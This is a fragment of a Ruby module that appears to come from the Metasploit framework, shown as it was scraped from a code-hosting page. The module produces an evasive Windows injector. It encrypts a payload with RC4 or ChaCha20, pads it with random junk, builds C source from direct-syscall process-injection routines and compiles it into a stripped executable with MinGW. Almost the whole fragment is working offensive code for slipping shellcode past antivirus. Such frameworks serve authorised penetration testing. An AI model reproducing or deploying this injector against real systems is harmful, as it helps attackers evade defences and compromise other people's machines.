|
||||
|
||||
def main
|
||||
%^
|
||||
int main()
|
||||
{
|
||||
inject();
|
||||
}
|
||||
^
|
||||
end
|
||||
|
||||
def key
|
||||
if datastore['CIPHER'] == 'rc4'
|
||||
@key ||= Rex::Text.rand_text_alpha(32..64)
|
||||
else
|
||||
@key ||= Rex::Text.rand_text(32)
|
||||
end
|
||||
end
|
||||
|
||||
def iv
|
||||
if datastore['CIPHER'] == 'chacha'
|
||||
@iv ||= Rex::Text.rand_text(12)
|
||||
end
|
||||
end
|
||||
|
||||
def get_payload
|
||||
junk = Rex::Text.rand_text(10..1024)
|
||||
p = payload.encoded + junk
|
||||
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
|
||||
if datastore['CIPHER'] == 'chacha'
|
||||
chacha = Rex::Crypto::Chacha20.new(key, iv)
|
||||
p = chacha.chacha20_crypt(p)
|
||||
Rex::Text.encode_base64 p
|
||||
else
|
||||
opts = { format: 'rc4', key: key }
|
||||
Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts)
|
||||
end
|
||||
end
|
||||
|
||||
def generate_code(src, opts = {})
|
||||
comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
|
||||
compiler_out = comp_obj.compile_c(src)
|
||||
unless compiler_out.empty?
|
||||
elog(compiler_out)
|
||||
raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'
|
||||
end
|
||||
comp_file = "#{opts[:f_name]}.exe"
|
||||
raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
|
||||
|
||||
bin = File.binread(comp_file)
|
||||
file_create(bin)
|
||||
comp_obj.cleanup_files
|
||||
end
|
||||
|
||||
def run
|
||||
@hash = rand 2**28..2**32 - 1
|
||||
comp_opts = '-masm=intel -w -mwindows '
|
||||
src = headers
|
||||
src << defines
|
||||
src << nt_alloc
|
||||
src << nt_close
|
||||
src << nt_create_thread
|
||||
src << nt_open_process
|
||||
src << nt_protect
|
||||
src << nt_write
|
||||
src << syscall_parser
|
||||
src << exec_func
|
||||
src << inject
|
||||
src << main
|
||||
# obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src
|
||||
path = Tempfile.new('main').path
|
||||
vprint_good "Saving temporary source file in #{path}"
|
||||
compile_opts =
|
||||
{
|
||||
strip_symbols: true,
|
||||
compile_options: comp_opts,
|
||||
f_name: path,
|
||||
opt_lvl: datastore['OptLevel']
|
||||
}
|
||||
generate_code src, compile_opts
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user